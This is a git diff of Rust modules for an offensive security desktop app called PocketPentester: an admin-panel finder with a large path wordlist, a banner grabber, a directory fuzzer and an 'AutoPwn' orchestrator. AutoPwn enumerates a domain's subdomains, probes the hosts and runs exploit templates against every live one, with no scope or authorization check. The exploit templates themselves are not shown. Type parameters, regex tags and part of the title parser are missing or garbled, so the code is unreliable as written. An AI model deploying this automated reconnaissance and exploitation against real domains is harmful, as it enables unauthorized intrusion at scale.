+ if t.contains("grafana") || lo.contains("grafana") { return Some("Grafana".into()); } + if t.contains("kibana") { return Some("Kibana".into()); } + if t.contains("solr") { return Some("Apache Solr".into()); } + if t.contains("tomcat") || lo.contains("apache tomcat") { return Some("Apache Tomcat".into()); } + if t.contains("cpanel") { return Some("cPanel".into()); } + if t.contains("plesk") { return Some("Plesk".into()); } + if t.contains("directadmin") { return Some("DirectAdmin".into()); } + if t.contains("webmin") { return Some("Webmin".into()); } + if t.contains("mikrotik") { return Some("Mikrotik".into()); } + if t.contains("pfsense") { return Some("pfSense".into()); } + if t.contains("opnsense") { return Some("OPNsense".into()); } + if powered.contains("asp.net") { return Some("ASP.NET".into()); } + if powered.contains("php") { return Some("PHP".into()); } + if server.contains("iis") { return Some("IIS".into()); } + if server.contains("nginx") { return Some("nginx".into()); } + if server.contains("apache") { return Some("Apache".into()); } + None +} + +#[tauri::command] +pub fn admin_finder_wordlist() -> Vec<&'static str> { + BUILTIN.to_vec() +} + +#[tauri::command] +pub async fn admin_finder_run(app: AppHandle, req: AdminFindRequest) -> Result, String> { + let base = req.base_url.trim_end_matches('/').to_string(); + let accept: HashSet = req.accept_status.clone() + .unwrap_or_else(|| vec![200, 201, 301, 302, 307, 308, 401, 403]) + .into_iter().collect(); + + let mut paths: HashSet = HashSet::new(); + if req.use_builtin { + for p in BUILTIN.iter() { paths.insert(p.trim_start_matches('/').to_string()); } + } + for p in &req.extra_paths { + let t = p.trim().trim_start_matches('/').to_string(); + if !t.is_empty() { paths.insert(t); } + } + if paths.is_empty() { + return Err("no paths to probe (enable builtin or provide extra_paths)".into()); + } + + let client = reqwest::Client::builder() + .danger_accept_invalid_certs(true) + .timeout(Duration::from_millis(req.timeout_ms)) + .redirect(if req.follow_redirects { + reqwest::redirect::Policy::limited(5) + } else { + reqwest::redirect::Policy::none() + }) + .user_agent("Mozilla/5.0 (PocketPentester-AdminFinder)") + .build() + .map_err(|e| e.to_string())?; + + let total = paths.len(); + let _ = app.emit("adminfind:status", format!("probing {total} admin path(s) on {base}")); + let sem = Arc::new(Semaphore::new(req.concurrency.max(1))); + let done = Arc::new(std::sync::atomic::AtomicUsize::new(0)); + let client = Arc::new(client); + + let hits: Vec = stream::iter(paths.into_iter()) + .map(|p| { + let base = base.clone(); + let client = client.clone(); + let sem = sem.clone(); + let done = done.clone(); + let accept = accept.clone(); + let app = app.clone(); + async move { + let _permit = sem.acquire().await.unwrap(); + let url = format!("{}/{}", base, p); + let resp = match client.get(&url).send().await { + Ok(r) => r, + Err(_) => { + let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1; + let _ = app.emit("adminfind:progress", serde_json::json!({"done": n, "total": total})); + return None; + } + }; + let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1; + let _ = app.emit("adminfind:progress", serde_json::json!({"done": n, "total": total})); + + let status = resp.status().as_u16(); + if !accept.contains(&status) { return None; } + + let hdrs = resp.headers().clone(); + let auth = hdrs.get("www-authenticate").and_then(|v| v.to_str().ok()).map(String::from); + let redirect = hdrs.get("location").and_then(|v| v.to_str().ok()).map(String::from); + let body = resp.text().await.unwrap_or_default(); + let title = TITLE_RE.captures(&body) + .and_then(|c| c.get(1)) + .map(|m| m.as_str().trim().chars().take(100).collect::()) + .filter(|s| !s.is_empty()); + let login = LOGIN_RE.is_match(&body) || auth.is_some(); + let platform = detect_platform(&body, &title, &hdrs); + + let hit = AdminHit { + url, + status, + size: body.len() as u64, + title, + platform, + login_form: login, + auth_header: auth, + redirect, + }; + let _ = app.emit("adminfind:hit", hit.clone()); + Some(hit) + } + }) + .buffer_unordered(req.concurrency.max(1)) + .filter_map(|x| async move { x }) + .collect() + .await; + + let _ = app.emit("adminfind:done", hits.len()); + Ok(hits) +} + +// ------------------------------------------------------------------ +// Built-in admin path wordlist (~320 high-signal paths) +// ------------------------------------------------------------------ +const BUILTIN: &[&str] = &[ + // generic + "admin", "admin/", "admin.php", "admin.html", "admin.asp", "admin.aspx", "admin.jsp", + "admin/login", "admin/login.php", "admin/login.html", "admin/index.php", "admin/index.html", + "admin/admin.php", "admin/home.php", "admin/home", "admin/dashboard", "admin/panel", + "admin/admin_login", "admin/account.php", "admin/admin-login", "admin/controlpanel", + "admin/controlpanel.html", "admin/cp.php", "admin/cp.html", + "admin1", "admin1.php", "admin1.html", "admin2", "admin2.php", "admin2.html", + "administrator", "administrator/", "administrator/index.php", "administrator/login.php", + "administrator/account.php", "administrator/account.html", + "adm", "adm/", "adm/index.php", "adm/admloginuser.php", + "panel", "panel-administracion", "panel/", "controlpanel", "controlpanel/", + "webadmin", "webadmin/", "webadmin/index.php", "webadmin/admin", + "login", "login.php", "login.html", "login.asp", "login.aspx", "login.jsp", + "log-in", "signin", "sign-in", "sign_in", "sign_up", "signup", + "account", "account/login", "account.php", "accounts/login", + "user/login", "users/sign_in", "users/login", + "home.php", "home.html", "main.php", "main.html", + + // wordpress + "wp-admin", "wp-admin/", "wp-login.php", "wp-admin/admin-ajax.php", + "wp-admin/install.php", "wp-admin/upgrade.php", "wp-admin/setup-config.php", + "wp-content/plugins/", "wp-content/themes/", "wp-json/wp/v2/users", + + // joomla + "administrator/index.php", "administrator/components/", + + // drupal + "user", "user/login", "user/register", "admin/structure", + + // magento + "admin/admin", "admin/dashboard/", "magento_version", + "index.php/admin/", "customer/account/login/", + + // prestashop + "modules/ps_shoppingcart", + + // opencart + "admin/index.php?route=common/login", + + // laravel + "login", "register", "password/reset", "horizon", "telescope", + + // phpmyadmin / db admin + "phpmyadmin", "phpmyadmin/", "phpmyadmin/index.php", "pma", "pma/", "pmamy", "pmamy2", + "dbadmin", "dbadmin/", "mysql", "mysql/", "sqlmanager", "sqlmanager/", + "adminer.php", "adminer/", "adminer", "phpMyAdmin/", + + // cpanel / plesk / webmin + "cpanel", "cpanel/", ":2082", ":2083", + "plesk", "plesk/", ":8443", + "webmin", "webmin/", ":10000", + "directadmin", ":2222", + "ispconfig", "vesta", + + // tomcat / jboss / weblogic + "manager/html", "manager/status", "host-manager/html", + "jmx-console/", "web-console/", "admin-console/", + "invoker/", "console/", "wls-wsat/CoordinatorPortType", + + // elasticsearch / kibana / solr + "_cluster/health", "_cat/indices", "_all", + "kibana", "app/kibana", + "solr/", "solr/admin/cores", "solr/#/", + + // jenkins / gitlab / gitea + "jenkins", "jenkins/", "jenkins/login", + "gitlab/users/sign_in", "user/login", + "admin/appearance", + + // grafana / prometheus + "grafana", "grafana/login", + "prometheus", "prometheus/graph", + + // rabbitmq / kafka ui + "rabbitmq", ":15672", "#/queues", + + // api platforms + "api/admin", "api/administrator", "api/v1/admin", "api/login", "api/users", + "graphql", "graphiql", "playground", + "swagger", "swagger-ui", "swagger-ui.html", "swagger.json", "swagger/v1/swagger.json", + "api-docs", "openapi.json", "openapi.yaml", "v2/api-docs", + "actuator", "actuator/health", "actuator/env", "actuator/heapdump", "actuator/mappings", + + // routers / network appliances + "cgi-bin/luci", "cgi-bin/admin", "cgi-bin/login", + "router", "router/login", + + // mikrotik / pfsense / opnsense + "webfig", "winbox", + "system_advanced_admin.php", "diag_backup.php", + + // misc control panels + "dashboard", "dashboard/", "dashboard/login", + "manage", "manage/", "manager/", "control", "control/", "siteadmin", "siteadmin/", + "moderator", "moderator/", "operator/", "supervisor/", + "console", "console/", "backend", "backend/", "staff", "staff/", + "system", "system/", "system/login", "system/admin", + "cms", "cms/", "cms/login", + "portal", "portal/", "portal/login", + + // auth endpoints + "oauth", "oauth/authorize", "oauth2/authorize", "sso", + ".well-known/openid-configuration", + + // file managers + "files", "filemanager", "file_manager", "filemanager/", "files/login", + + // backup / debug / test + "test", "test/", "testing", "staging", "stage", "beta", "dev", "development", + "old", "old/", "tmp", "temp", "cache", "backup", "backups", + + // vendor-specific + "owa", "owa/auth/logon.aspx", "ecp/default.aspx", + "citrix", "vpn/index_access.html", + "vcenter", "ui/", "vsphere-client/", + "splunk", "en-US/account/login", + "sonarqube", "sessions/new", + "nexus", "artifactory", + "harbor", "portainer", + "rancher", "rancher/login", + + // legacy / misc + "home", "member", "members", "members/", "private", "private/", + "secure", "secure/", "vip", "vip/", + "webadm", "siteadm", "backoffice", +]; diff --git a/src-tauri/src/modules/autopwn.rs b/src-tauri/src/modules/autopwn.rs new file mode 100644 index 0000000..067a788 --- /dev/null +++ b/src-tauri/src/modules/autopwn.rs @@ -0,0 +1,417 @@ +// =================================================================== +// AutoPwn — one-shot orchestrator: subdomain → probe → exploit. +// +// Stage 1: passive crt.sh + optional DNS brute +// Stage 2: live-host HTTP/S probe (concurrent) +// Stage 3: xploit all selected templates on every alive host +// +// Emits `autopwn:*` events so the UI dashboard can track each stage +// independently without colliding with standalone tool events. +// =================================================================== + +use std::collections::HashSet; +use std::sync::Arc; +use std::time::Duration; + +use futures::stream::{self, StreamExt}; +use hickory_resolver::config::{ResolverConfig, ResolverOpts}; +use hickory_resolver::TokioAsyncResolver; +use serde::{Deserialize, Serialize}; +use tauri::{AppHandle, Emitter}; +use tokio::sync::Semaphore; + +use super::xploiter::{parse_templates, run_template_against_target, Finding}; + +#[derive(Debug, Clone, Deserialize)] +pub struct AutopwnRequest { + pub domain: String, + pub use_passive: bool, + pub brute_wordlist: Vec, + pub templates_yaml: Vec, + pub probe_ports: Option>, + pub concurrency: usize, + pub timeout_ms: u64, + + /// Status codes considered "alive" for the exploit stage. + /// Default: 200-299, 301, 302, 307, 308, 401, 403, 405. + /// Explicitly rejects 400 (bad req / wrong SNI), 404 (no vhost), + /// 5xx (backend dead). + #[serde(default)] + pub accept_status: Option>, +} + +#[derive(Debug, Clone, Serialize)] +pub struct AutopwnSubHit { + pub host: String, + pub source: String, + pub ips: Vec, +} + +#[derive(Debug, Clone, Serialize)] +pub struct AutopwnProbeHit { + pub url: String, + pub status: u16, + pub title: Option, + pub server: Option, +} + +#[derive(Debug, Clone, Serialize)] +pub struct AutopwnReport { + pub domain: String, + pub subdomains: Vec, + pub alive: Vec, + pub findings: Vec, +} + +// -------------------------------------------------------------- +// stage 1: subdomain enum +// -------------------------------------------------------------- + +#[derive(Debug, Clone, Deserialize)] +struct CrtRow { name_value: String } + +async fn passive_crtsh(domain: &str) -> anyhow::Result> { + let url = format!("https://crt.sh/?q=%25.{}&output=json", domain); + let client = reqwest::Client::builder() + .timeout(Duration::from_secs(20)) + .user_agent("PocketPentester-AutoPwn/0.1") + .build()?; + let rows: Vec = client.get(&url).send().await?.json().await?; + let mut set = HashSet::new(); + for r in rows { + for line in r.name_value.split('\n') { + let host = line.trim().trim_start_matches("*.").to_lowercase(); + if host.ends_with(domain) && !host.is_empty() { set.insert(host); } + } + } + Ok(set) +} + +fn rand_label() -> String { + use rand::Rng; + let chars: Vec = "abcdefghijklmnopqrstuvwxyz0123456789".chars().collect(); + let mut rng = rand::thread_rng(); + (0..16).map(|_| chars[rng.gen_range(0..chars.len())]).collect() +} + +/// Detect wildcard DNS by resolving 2 random non-existent subs. +/// Returns the set of IPs that appear to be catch-all answers. +async fn detect_wildcard(resolver: &TokioAsyncResolver, domain: &str) -> HashSet { + let mut ips: HashSet = HashSet::new(); + for _ in 0..2 { + let probe = format!("{}.{}", rand_label(), domain); + if let Ok(lookup) = resolver.lookup_ip(probe.as_str()).await { + for ip in lookup.iter() { + ips.insert(ip.to_string()); + } + } + } + ips +} + +async fn enum_subdomains( + app: &AppHandle, + domain: &str, + use_passive: bool, + brute: &[String], + concurrency: usize, +) -> Vec { + let mut opts = ResolverOpts::default(); + opts.timeout = Duration::from_secs(3); + opts.attempts = 1; + let resolver = Arc::new(TokioAsyncResolver::tokio(ResolverConfig::cloudflare(), opts)); + + // wildcard detection BEFORE brute + let wildcard = detect_wildcard(&resolver, domain).await; + if !wildcard.is_empty() { + let _ = app.emit( + "autopwn:status", + format!("wildcard DNS detected ({} IPs) — results pointing only to these will be filtered", + wildcard.iter().cloned().collect::>().join(",")) + ); + } + + let mut candidates: HashSet<(String, String)> = HashSet::new(); + candidates.insert((domain.to_string(), "root".into())); + + if use_passive { + let _ = app.emit("autopwn:stage", "recon:passive"); + match passive_crtsh(domain).await { + Ok(hosts) => { + let _ = app.emit("autopwn:status", format!("crt.sh: +{} subs", hosts.len())); + for h in hosts { candidates.insert((h, "crtsh".into())); } + } + Err(e) => { let _ = app.emit("autopwn:status", format!("crt.sh error: {e}")); } + } + } + + for w in brute { + candidates.insert((format!("{}.{}", w.trim(), domain), "brute".into())); + } + + let total = candidates.len(); + let _ = app.emit("autopwn:stage", "recon:resolve"); + let _ = app.emit("autopwn:status", format!("resolving {total} candidates")); + + let sem = Arc::new(Semaphore::new(concurrency.max(1))); + let done = Arc::new(std::sync::atomic::AtomicUsize::new(0)); + + let wildcard_arc = Arc::new(wildcard); + + let hits: Vec = stream::iter(candidates.into_iter()) + .map(|(host, source)| { + let resolver = resolver.clone(); + let sem = sem.clone(); + let done = done.clone(); + let app = app.clone(); + let wildcard = wildcard_arc.clone(); + async move { + let _p = sem.acquire().await.unwrap(); + let result = resolver.lookup_ip(host.as_str()).await; + let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1; + let _ = app.emit("autopwn:progress", serde_json::json!({ + "stage": "recon", "done": n, "total": total + })); + match result { + Ok(lookup) => { + let ips: Vec = lookup.iter().map(|ip| ip.to_string()).collect(); + if ips.is_empty() { return None; } + + // wildcard filter: skip if ALL ips match the wildcard set + // (keep root domain regardless) + if !wildcard.is_empty() && source != "root" + && ips.iter().all(|ip| wildcard.contains(ip)) + { + return None; + } + + let hit = AutopwnSubHit { host, source, ips }; + let _ = app.emit("autopwn:sub", hit.clone()); + Some(hit) + } + Err(_) => None, + } + } + }) + .buffer_unordered(concurrency.max(1)) + .filter_map(|x| async move { x }) + .collect() + .await; + + hits +} + +/// Default HTTP status codes treated as "alive & worth exploiting". +fn default_accept_statuses() -> Vec { + vec![ + 200, 201, 202, 203, 204, 206, + 301, 302, 303, 307, 308, + 401, 403, 405, 418, // 418 = sometimes WAF, but still shows alive service + ] +} + +// -------------------------------------------------------------- +// stage 2: HTTP probe +// -------------------------------------------------------------- + +async fn probe_hosts( + app: &AppHandle, + hosts: &[AutopwnSubHit], + ports: &[u16], + concurrency: usize, + timeout_ms: u64, + accept_status: &[u16], +) -> Vec { + let client = reqwest::Client::builder() + .danger_accept_invalid_certs(true) + .timeout(Duration::from_millis(timeout_ms)) + .redirect(reqwest::redirect::Policy::limited(3)) + .user_agent("Mozilla/5.0 (PocketPentester-AutoPwn)") + .build() + .unwrap_or_else(|_| reqwest::Client::new()); + + let mut urls: Vec = Vec::new(); + for h in hosts { + for p in ports { + let scheme = if matches!(p, 443 | 8443) { "https" } else { "http" }; + if *p == 80 || *p == 443 { + urls.push(format!("{scheme}://{}", h.host)); + } else { + urls.push(format!("{scheme}://{}:{}", h.host, p)); + } + } + } + + let total = urls.len(); + let _ = app.emit("autopwn:stage", "probe"); + let _ = app.emit("autopwn:status", format!("probing {total} urls")); + + let sem = Arc::new(Semaphore::new(concurrency.max(1))); + let done = Arc::new(std::sync::atomic::AtomicUsize::new(0)); + let client = Arc::new(client); + + let title_re = regex::Regex::new(r"(?is)]*>(.*?)").unwrap(); + // regex that recognizes "nothing useful" responses — default pages, error placeholders, etc. + let junk_re = regex::Regex::new( + r"(?i)(?:welcome to nginx|it works|apache2 ubuntu default page|test page for the (?:apache|nginx)|site not found|default backend - 404|403 forbidden|bad request|invalid hostname)" + ).unwrap(); + let accept: HashSet = accept_status.iter().copied().collect(); + + let alive: Vec = stream::iter(urls.into_iter()) + .map(|url| { + let sem = sem.clone(); + let done = done.clone(); + let client = client.clone(); + let app = app.clone(); + let title_re = title_re.clone(); + let junk_re = junk_re.clone(); + let accept = accept.clone(); + async move { + let _p = sem.acquire().await.unwrap(); + let result = client.get(&url).send().await; + let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1; + let _ = app.emit("autopwn:progress", serde_json::json!({ + "stage": "probe", "done": n, "total": total + })); + let resp = match result { Ok(r) => r, Err(_) => return None }; + let status = resp.status().as_u16(); + + // ---- status whitelist ---- + if !accept.contains(&status) { + let _ = app.emit("autopwn:status", + format!("skip {} ({}): status not in accept-list", url, status)); + return None; + } + + let server = resp.headers().get("server") + .and_then(|v| v.to_str().ok()).map(String::from); + let body = resp.text().await.unwrap_or_default(); + + // ---- junk-body filter ---- + if junk_re.is_match(&body) { + let _ = app.emit("autopwn:status", + format!("skip {} ({}): default/placeholder page", url, status)); + return None; + } + + let title = title_re.captures(&body) + .and_then(|c| c.get(1)) + .map(|m| m.as_str().trim().to_string()) + .filter(|s| !s.is_empty()); + let hit = AutopwnProbeHit { url, status, title, server }; + let _ = app.emit("autopwn:alive", hit.clone()); + Some(hit) + } + }) + .buffer_unordered(concurrency.max(1)) + .filter_map(|x| async move { x }) + .collect() + .await; + + alive +} + +// -------------------------------------------------------------- +// stage 3: exploit +// -------------------------------------------------------------- + +async fn exploit_alive( + app: &AppHandle, + alive: &[AutopwnProbeHit], + templates_yaml: &[String], + concurrency: usize, + timeout_ms: u64, +) -> Vec { + let templates = parse_templates(templates_yaml, app, "autopwn:status"); + if templates.is_empty() { return Vec::new(); } + + let client = reqwest::Client::builder() + .danger_accept_invalid_certs(true) + .timeout(Duration::from_millis(timeout_ms)) + .redirect(reqwest::redirect::Policy::limited(5)) + .user_agent("Mozilla/5.0 (PocketPentester-AutoPwn)") + .build() + .unwrap_or_else(|_| reqwest::Client::new()); + + let tasks: Vec<(String, super::xploiter::Template)> = alive.iter() + .flat_map(|a| templates.iter().map(move |t| (a.url.clone(), t.clone()))) + .collect(); + let total = tasks.len(); + let _ = app.emit("autopwn:stage", "exploit"); + let _ = app.emit("autopwn:status", format!("exploiting: {total} target×template combos")); + + let sem = Arc::new(Semaphore::new(concurrency.max(1))); + let client = Arc::new(client); + let done = Arc::new(std::sync::atomic::AtomicUsize::new(0)); + + stream::iter(tasks.into_iter()) + .map(|(target, tpl)| { + let sem = sem.clone(); + let client = client.clone(); + let done = done.clone(); + let app = app.clone(); + async move { + let _p = sem.acquire().await.unwrap(); + let v = run_template_against_target(&client, &target, &tpl, &app, "autopwn:xpl").await; + let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1; + let _ = app.emit("autopwn:progress", serde_json::json!({ + "stage": "exploit", "done": n, "total": total + })); + v + } + }) + .buffer_unordered(concurrency.max(1)) + .flat_map(|v| stream::iter(v.into_iter())) + .collect() + .await +} + +// -------------------------------------------------------------- +// command +// -------------------------------------------------------------- + +#[tauri::command] +pub async fn autopwn_run(app: AppHandle, req: AutopwnRequest) -> Result { + let ports = req.probe_ports.clone().unwrap_or_else(|| vec![80, 443, 8080, 8443]); + let accept_status = req.accept_status.clone().unwrap_or_else(default_accept_statuses); + + // stage 1 --------------------------------------------------- + let subs = enum_subdomains(&app, &req.domain, req.use_passive, &req.brute_wordlist, req.concurrency).await; + let _ = app.emit("autopwn:stage-done", serde_json::json!({ "stage": "recon", "count": subs.len() })); + + if subs.is_empty() { + return Err("no live subdomains resolved".into()); + } + + // stage 2 --------------------------------------------------- + let alive = probe_hosts(&app, &subs, &ports, req.concurrency, req.timeout_ms, &accept_status).await; + let _ = app.emit("autopwn:stage-done", serde_json::json!({ "stage": "probe", "count": alive.len() })); + + if alive.is_empty() { + let _ = app.emit("autopwn:done", 0); + return Ok(AutopwnReport { + domain: req.domain, + subdomains: subs, alive: vec![], findings: vec![], + }); + } + + // stage 3 --------------------------------------------------- + let findings = if req.templates_yaml.is_empty() { + let _ = app.emit("autopwn:status", "no templates selected — skipping exploit stage"); + Vec::new() + } else { + exploit_alive(&app, &alive, &req.templates_yaml, req.concurrency, req.timeout_ms).await + }; + + let _ = app.emit("autopwn:stage-done", serde_json::json!({ + "stage": "exploit", "count": findings.len() + })); + let _ = app.emit("autopwn:done", findings.len()); + + Ok(AutopwnReport { + domain: req.domain, + subdomains: subs, + alive, + findings, + }) +} diff --git a/src-tauri/src/modules/banner.rs b/src-tauri/src/modules/banner.rs new file mode 100644 index 0000000..e539ab7 --- /dev/null +++ b/src-tauri/src/modules/banner.rs @@ -0,0 +1,194 @@ +// =================================================================== +// Banner Grabber — TCP connect + read service greeting, fingerprint +// common services (SSH / FTP / SMTP / HTTP / Redis / MySQL / IRC). +// =================================================================== + +use std::sync::Arc; +use std::time::Duration; + +use futures::stream::{self, StreamExt}; +use serde::{Deserialize, Serialize}; +use tauri::{AppHandle, Emitter}; +use tokio::io::{AsyncReadExt, AsyncWriteExt}; +use tokio::net::TcpStream; +use tokio::sync::Semaphore; +use tokio::time::timeout; + +#[derive(Debug, Clone, Deserialize)] +pub struct BannerRequest { + pub host: String, + pub ports: Vec, + #[serde(default = "default_conc")] + pub concurrency: usize, + #[serde(default = "default_timeout")] + pub timeout_ms: u64, +} + +fn default_conc() -> usize { 50 } +fn default_timeout() -> u64 { 4000 } + +#[derive(Debug, Clone, Serialize)] +pub struct BannerHit { + pub port: u16, + pub banner: String, + pub service: String, + pub version: Option, + pub bytes: usize, +} + +fn fingerprint(port: u16, banner: &str) -> (String, Option) { + let lo = banner.to_lowercase(); + let first_line = banner.lines().next().unwrap_or("").to_string(); + + // SSH + if banner.starts_with("SSH-") { + let ver = first_line.trim().to_string(); + return ("SSH".into(), Some(ver)); + } + + // HTTP (we sent a HEAD /) + if banner.starts_with("HTTP/") { + let server = banner.lines() + .find(|l| l.to_lowercase().starts_with("server:")) + .map(|l| l.trim_start_matches("Server:").trim_start_matches("server:").trim().to_string()); + return ("HTTP".into(), server); + } + + // FTP + if banner.starts_with("220 ") && (lo.contains("ftp") || port == 21) { + let ver = first_line.trim_start_matches("220 ").trim().to_string(); + return ("FTP".into(), Some(ver)); + } + + // SMTP + if banner.starts_with("220 ") && (lo.contains("smtp") || lo.contains("mail") || port == 25 || port == 587) { + return ("SMTP".into(), Some(first_line)); + } + + // POP3 / IMAP + if banner.starts_with("+OK") { return ("POP3".into(), Some(first_line)); } + if banner.starts_with("* OK") { return ("IMAP".into(), Some(first_line)); } + + // Telnet + if banner.as_bytes().first() == Some(&0xFF) { return ("Telnet".into(), None); } + + // Redis + if banner.starts_with("+PONG") || banner.starts_with("-NOAUTH") { return ("Redis".into(), None); } + if banner.starts_with("-ERR") && port == 6379 { return ("Redis".into(), Some(first_line)); } + + // MySQL (handshake starts with packet length + protocol 0x0a) + if banner.as_bytes().len() >= 5 && banner.as_bytes()[4] == 0x0a && port == 3306 { + let ver_start = 5; + let ver_end = banner.as_bytes().iter().skip(ver_start).position(|&b| b == 0) + .map(|p| ver_start + p).unwrap_or(banner.len()); + if ver_end > ver_start { + return ("MySQL".into(), Some(String::from_utf8_lossy(&banner.as_bytes()[ver_start..ver_end]).to_string())); + } + return ("MySQL".into(), None); + } + + // PostgreSQL — responds with error on junk; check for "FATAL" or specific msg + if port == 5432 && (lo.contains("fatal") || lo.contains("postgresql")) { + return ("PostgreSQL".into(), None); + } + + // RDP — first byte 0x03 (TPKT) + if banner.as_bytes().first() == Some(&0x03) && port == 3389 { + return ("RDP".into(), None); + } + + // VNC + if banner.starts_with("RFB ") { return ("VNC".into(), Some(first_line.trim().into())); } + + // IRC + if banner.starts_with(":") && lo.contains("irc") { return ("IRC".into(), Some(first_line)); } + + // MongoDB — ismaster reply; harder + if port == 27017 { return ("MongoDB".into(), None); } + + // Fallback by port + let by_port = match port { + 53 => "DNS", 22 => "SSH?", 23 => "Telnet?", 25 => "SMTP?", + 80 | 8080 | 8000 | 8088 => "HTTP?", 110 => "POP3?", 143 => "IMAP?", + 443 | 8443 => "HTTPS?", 445 => "SMB", 465 => "SMTPS", + 587 => "SMTP-SUB", 993 => "IMAPS", 995 => "POP3S", + 1433 => "MSSQL", 1521 => "Oracle", 2049 => "NFS", + 3306 => "MySQL", 3389 => "RDP", 5432 => "PostgreSQL", + 5900 => "VNC", 6379 => "Redis", 6667 => "IRC", + 9200 => "Elasticsearch", + 11211 => "Memcached", 27017 => "MongoDB", + _ => "unknown", + }; + (by_port.to_string(), None) +} + +async fn grab(host: &str, port: u16, timeout_ms: u64) -> Option { + let addr = format!("{host}:{port}"); + let stream = timeout(Duration::from_millis(timeout_ms), TcpStream::connect(&addr)).await.ok()?.ok()?; + let _ = stream.set_nodelay(true); + let mut stream = stream; + + // For HTTP-ish ports, send a HEAD request to elicit a Server header + let triggers: &[&[u8]] = match port { + 80 | 8080 | 8000 | 8008 | 8088 | 8888 | 9000 | 9090 | 10000 => + &[b"HEAD / HTTP/1.0\r\n\r\n"], + 21 | 22 | 25 | 110 | 143 | 220 | 5432 | 6379 => &[], + _ => &[], + }; + for t in triggers { + let _ = timeout(Duration::from_millis(500), stream.write_all(t)).await; + } + + let mut buf = [0u8; 2048]; + let read = timeout(Duration::from_millis(timeout_ms), stream.read(&mut buf)).await.ok()?.ok()?; + if read == 0 { return None; } + + let banner_raw = String::from_utf8_lossy(&buf[..read]).to_string(); + let banner = banner_raw.trim_end_matches(['\r', '\n', '\0']).to_string(); + let (service, version) = fingerprint(port, &banner); + + // If banner is empty but we got bytes (binary), keep as-is + let display = if banner.is_empty() && read > 0 { + format!("[binary {} bytes]", read) + } else { + // strip non-printable for display + banner.chars().map(|c| if c.is_ascii_graphic() || c == ' ' || c == '\n' { c } else { '.' }).collect::() + }; + + Some(BannerHit { port, banner: display, service, version, bytes: read }) +} + +#[tauri::command] +pub async fn banner_grab(app: AppHandle, req: BannerRequest) -> Result, String> { + let total = req.ports.len(); + let _ = app.emit("banner:status", format!("grabbing banners on {} port(s)", total)); + + let sem = Arc::new(Semaphore::new(req.concurrency.max(1))); + let done = Arc::new(std::sync::atomic::AtomicUsize::new(0)); + let host = Arc::new(req.host.clone()); + + let hits: Vec = stream::iter(req.ports.into_iter()) + .map(|port| { + let sem = sem.clone(); + let done = done.clone(); + let app = app.clone(); + let host = host.clone(); + async move { + let _permit = sem.acquire().await.unwrap(); + let res = grab(&host, port, req.timeout_ms).await; + let n = done.fetch_add(1, std::sync::atomic::Ordering::Relaxed) + 1; + let _ = app.emit("banner:progress", serde_json::json!({"done": n, "total": total})); + if let Some(ref h) = res { + let _ = app.emit("banner:hit", h.clone()); + } + res + } + }) + .buffer_unordered(req.concurrency.max(1)) + .filter_map(|x| async move { x }) + .collect() + .await; + + let _ = app.emit("banner:done", hits.len()); + Ok(hits) +} diff --git a/src-tauri/src/modules/dirfuzz.rs b/src-tauri/src/modules/dirfuzz.rs new file mode 100644 index 0000000..b603686 --- /dev/null +++ b/src-tauri/src/modules/dirfuzz.rs @@ -0,0 +1,283 @@ +// =================================================================== +// Directory Fuzzer — feroxbuster-style content discovery. +// Streams hits via events. Supports extensions, recursion, filters. +// =================================================================== + +use std::collections::HashMap; +use std::sync::Arc; +use std::time::Duration; + +use futures::stream::{self, StreamExt}; +use serde::{Deserialize, Serialize}; +use tauri::{AppHandle, Emitter}; +use tokio::sync::{Mutex, Semaphore}; + +#[derive(Debug, Clone, Deserialize)] +pub struct DirFuzzRequest { + pub base_url: String, + pub wordlist: Vec, + #[serde(default)] + pub extensions: Vec, + #[serde(default)] + pub accept_status: Option>, + #[serde(default)] + pub size_min: Option, + #[serde(default)] + pub size_max: Option, + pub concurrency: usize, + pub timeout_ms: u64, + #[serde(default)] + pub follow_redirects: bool, + #[serde(default)] + pub recursive: bool, + #[serde(default = "default_depth")] + pub recursion_depth: u8, + #[serde(default)] + pub headers: HashMap, + #[serde(default)] + pub user_agent: Option, +} + +fn default_depth() -> u8 { 2 } + +#[derive(Debug, Clone, Serialize)] +pub struct DirHit { + pub url: String, + pub status: u16, + pub size: u64, + pub words: usize, + pub lines: usize, + pub redirect: Option, + pub title: Option, + pub content_type: Option, + pub time_ms: u128, +} + +fn default_statuses() -> Vec { + vec![200, 201, 204, 301, 302, 307, 308, 401, 403, 405] +} + +fn build_client(req: &DirFuzzRequest) -> reqwest::Client { + let ua = req.user_agent.clone() + .unwrap_or_else(|| "Mozilla/5.0 (PocketPentester-DirFuzz)".into()); + reqwest::Client::builder() + .danger_accept_invalid_certs(true) + .timeout(Duration::from_millis(req.timeout_ms)) + .redirect(if req.follow_redirects { + reqwest::redirect::Policy::limited(5) + } else { + reqwest::redirect::Policy::none() + }) + .user_agent(ua) + .build() + .unwrap_or_else(|_| reqwest::Client::new()) +} + +fn expand_paths(word: &str, extensions: &[String]) -> Vec { + let w = word.trim().trim_start_matches('/'); + if w.is_empty() { return vec![]; } + let mut out = vec![w.to_string()]; + for ext in extensions { + let e = ext.trim(); + if e.is_empty() { continue; } + let normalized = if e.starts_with('.') { e.to_string() } else { format!(".{e}") }; + out.push(format!("{w}{normalized}")); + } + out +} + +fn parse_title(body: &str) -> Option { + let lower = body.to_lowercase(); + let start = lower.find("')? + 1; + let end = lower[start..].find("")?; + let title = &rest[body_start..end]; + let t = title.trim(); + if t.is_empty() { None } else { Some(t.chars().take(100).collect()) } +} + +async fn probe( + client: &reqwest::Client, + url: &str, + headers: &HashMap, +) -> Option { + let start = std::time::Instant::now(); + let mut builder = client.get(url); + for (k, v) in headers { + if k.trim().is_empty() { continue; } + builder = builder.header(k.trim(), v); + } + let resp = builder.send().await.ok()?; + let status = resp.status().as_u16(); + let content_type = resp.headers().get("content-type") + .and_then(|v| v.to_str().ok()).map(String::from); + let redirect = resp.headers().get("location") + .and_then(|v| v.to_str().ok()).map(String::from); + let body = resp.text().await.unwrap_or_default(); + let time_ms = start.elapsed().as_millis(); + + Some(DirHit { + url: url.to_string(), + status, + size: body.len() as u64, + words: body.split_whitespace().count(), + lines: body.lines().count(), + redirect, + title: parse_title(&body), + content_type, + time_ms, + }) +} + +#[tauri::command] +pub async fn dirfuzz_run(app: AppHandle, req: DirFuzzRequest) -> Result, String> { 